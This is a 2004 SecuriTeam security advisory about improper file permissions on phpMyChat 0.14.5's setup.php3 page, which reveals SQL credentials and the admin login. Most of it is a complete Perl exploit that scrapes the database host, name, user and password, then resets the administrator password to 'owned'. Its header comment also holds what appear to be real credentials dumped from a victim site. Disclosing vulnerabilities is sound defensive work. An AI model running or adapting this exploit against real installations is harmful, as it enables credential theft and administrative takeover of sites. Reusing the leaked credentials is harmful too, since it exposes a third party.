[UNIX] phpMyChat Improper File Permissions

From: SecuriTeam (support_at_securiteam.com)
Date: 12/22/04

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      phpMyChat Improper File Permissions
    ------------------------------------------------------------------------

    SUMMARY

     <http://phpmychat.sourceforge.net/rubrique.php3?id_rubrique=29> phpMyChat
    is "an easy-to-install, easy-to-use multi-room chat based on PHP and a
    database, supporting MySQL, PostgreSQL, and ODBC".

    Due to improper file permission settings on the setup.php3 file, a remote
    attacker can cause the program to reveal sensitive information on the
    remote host such as: SQL username and password, phpMyChat's administrative
    password, etc.

    DETAILS

    Vulnerable Systems:
     * phpMyChat version 0.14.5

    Exploit:
    # /*
    # * sploit remote phpMychat -
    http://www.flowsecurity.org/exploits/flow-phpmychat.pl
    # * by sysbug - SECU
    # *
    # * Mysql dump :
    # * C_DB_HOST : localhost
    # * C_DB_NAME : jhawk_pchat1
    # * C_DB_USER : jhawk_pchat1
    # * C_DB_PASS : vvejTjeLgB
    # * ADM_LOG : jhawk
    # *
    # * Admin :
    # * login:jhawk
    # * pwd:owned
    # */
    # C:\Perl\bin>
    #
    # Credits: all my friends!
     
    use IO::Socket;
    if(@ARGV < 2){
    usage();
    }
    main();
    sub sock(){
    $ock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>'tcp',Timeout=>10)|| die " * s0ck null -\n";
    print $ock "$path\r\n";
    print $ock "Accept: */*\r\n";
    print $ock "Accept-Language: pt\r\n";
    print $ock "Accept-Encoding: gzip, deflate\r\n";
    print $ock "User-Agent: l33t br0ws3r\r\n";
    print $ock "Host: $host\r\n";
    print $ock "Connection: Keep-Alive\r\n\r\n\r\n";
    $path = '';
    }
    sub main(){
    print "/*\n";
    print " * sploit remote phpMychat\n";
    print " * by sysbug\n";
    print " *\n";
    $host = $ARGV[0];
    $folder = $ARGV[1];
    $path = "GET $folder/chat/setup.php3?next=1 HTTP/1.1";
    sock();
    $result =1;
    while($recv = <$ock>){
    if($recv =~
    /(C_DB_PASS|C_DB_USER|C_DB_NAME|C_DB_HOST)(.*)(VALUE=)(")(.*)(">)/){
    $c++;
    print " * Mysql dump :\n" if($result);
    print " * $1 : $5\n";
    $mysql[$c] = $5;
    $result = '';
    }
    }
    close($ock);
    $path = "GET
    $folder/chat/setup.php3?next=2&Form_Send=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]". "&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]&C_MSG_TBL=messages". "&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users&C_MSG_DEL=96&". "C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&C_PRIV_CHAT_ROOMS=". "&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1&C_SHOW_ADMIN=1". "&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1&C_SAVE=*&C_USE_SMILIES=1". "&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1&C_TMZ_OFFSET=0&C_MSG_ORDER=0". "&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1&C_NOTIFY=1&C_WELCOME=1 HTTP/1.1";
    sock();
    while($recv = <$ock>){
    if($recv =~ /(ADM_LOG)(.*)(VALUE=)(")(.*)(">)/){
    $c++;
    print " * $1 : $5\n";
    $mysql[$c] = $5;
    }
    }
    close($ock);
    $pwd="owned";
    $path = "GET
    $folder/chat/setup.php3?next=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]".
    "&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]".
    "&C_MSG_TBL=messages&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users". "&C_MSG_DEL=96&C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&". "C_PRIV_CHAT_ROOMS=&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1". "&C_SHOW_ADMIN=1&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1". "&C_SAVE=*&C_USE_SMILIES=1&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1". "&C_TMZ_OFFSET=0&C_MSG_ORDER=0&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1". "&C_NOTIFY=1&C_WELCOME=1&ADM_LOG=$mysql[5]&ADM_PASS=$pwd&Form_Send=3". "&Exist_Adm=1 HTTP/1.1";
    sock();
    if($mysql[5]){
    print " *\n * Admin : \n * login:$mysql[5]\n * pwd:$pwd \n *\\ \n";
    }
    else{
    print " * sploit failed! \n";
    print " *\\ \n";
    }
    close($ock);
    }
    sub usage(){
    print "/*\n";
    print " * sploit remote phpMychat\n";
    print " * by sysbug\n";
    print " * usage: perl $0 xpl.pl <host> <folder>\n";
    print " * example: perl $0 xpl.pl www.site.com\n";
    print " * perl $0 xpl.pl www.site.com /chat\n";
    print " */\n";
    exit;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:sysbug@flowsecurity.org>
    sysbug.

    ========================================

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